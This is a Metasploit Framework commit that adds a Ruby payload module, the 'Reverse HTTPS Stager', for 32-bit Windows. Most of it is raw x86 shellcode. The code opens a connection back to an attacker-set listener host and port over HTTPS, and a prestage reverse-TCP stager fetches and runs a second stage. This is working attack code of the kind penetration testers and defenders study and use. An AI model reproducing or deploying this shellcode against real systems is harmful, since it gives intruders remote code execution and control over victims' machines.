Add the actual stager
git-svn-id: file:///home/svn/framework3/trunk@8985 4d416f70-5f16-0410-b530-b9f4589650daunstable
HD Moore
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c6c956ab46
commit
b50d9049f0
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##
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# $Id: passivex.rb 7546 2009-11-16 22:45:33Z hdm $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_https'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Reverse HTTPS Stager',
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'Version' => '$Revision: 7546 $',
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'Description' => 'Tunnel communication over HTTP using SSL',
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'Author' => 'hdm',
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseHttps,
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'Convention' => 'sockedi https',
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'Stager' =>
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{
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'Offsets' =>
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{
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'EXITFUNC' => [ 295, 'V' ],
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'LPORT' => [ 195, 'v' ], # Not a typo, really little endian
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},
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'Payload' =>
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"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
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"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
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"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
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"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
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"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
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"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
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"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
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"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
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"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
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"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
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"\xFF\xD5\x89\xC6\xE9\xBC\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03" +
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"\x51\x51\x68\x5C\x11\x00\x00\x53\x56\x68\x57\x89\x9F\xC6\xFF\xD5" +
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"\x89\xC6\xE9\x8E\x00\x00\x00\x59\x31\xD2\x52\x68\x00\x32\xE0\x84" +
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"\x52\x52\x52\x51\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x31" +
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"\xC0\x50\x50\x50\x50\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75" +
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"\x2C\x68\xAA\xC5\xE2\x5D\xFF\xD5\x3D\x0D\x2F\x00\x00\x75\x17\x68" +
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"\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E" +
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"\x86\xFF\xD5\x58\xEB\xC9\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68" +
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"\x00\x10\x00\x00\x68\x00\x00\x40\x00\x6A\x00\x68\x58\xA4\x53\xE5" +
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"\xFF\xD5\x93\x53\x6A\x00\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56" +
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"\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCB\x8B\x07\x01\xC3\x85" +
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"\xC0\x75\xE5\x58\xC3\xE8\x6D\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
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"\x36\x37\x38\x39\x00\xE8\x3F\xFF\xFF\xFF"
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}
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))
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end
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#
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# Do not transmit the stage over the connection. We handle this via HTTPS
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#
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def stage_over_connection?
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false
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end
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def generate
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p = super
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i = p.index("/123456789\x00")
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u = "/A" + datastore['TARGETID'].to_s + "\x00"
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raise ArgumentError, "TARGETID can be 8 bytes long at the most" if u.length > 11
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p[i, u.length] = u
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p + datastore['LHOST'].to_s + "\x00"
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end
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def prestage_payload
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stage =
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# Name: stager_reverse_tcp_dns_connect_only
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# Length: 315 bytes
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# Port Offset: 215
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# HostName Offset: 251
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# RetryCounter Offset: 209
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# ExitFunk Offset: 240
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"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
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"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
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"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
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"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
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"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
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"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
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"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
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"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
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"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
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"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
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"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
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"\xD5\x97\xEB\x32\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x0C\x8B\x40" +
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"\x08\x6A\x05\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68" +
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"\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68" +
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"\xF0\xB5\xA2\x56\xFF\xD5\xE8\xC9\xFF\xFF\xFF\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
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"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00"
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stage[215, 2] = [datastore['LPORT'].to_i].pack("n")
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i = stage.index("X" * 63)
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u = datastore['LHOST'].to_s + "\x00"
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raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64
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stage[i, u.length] = u
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stage
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end
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end
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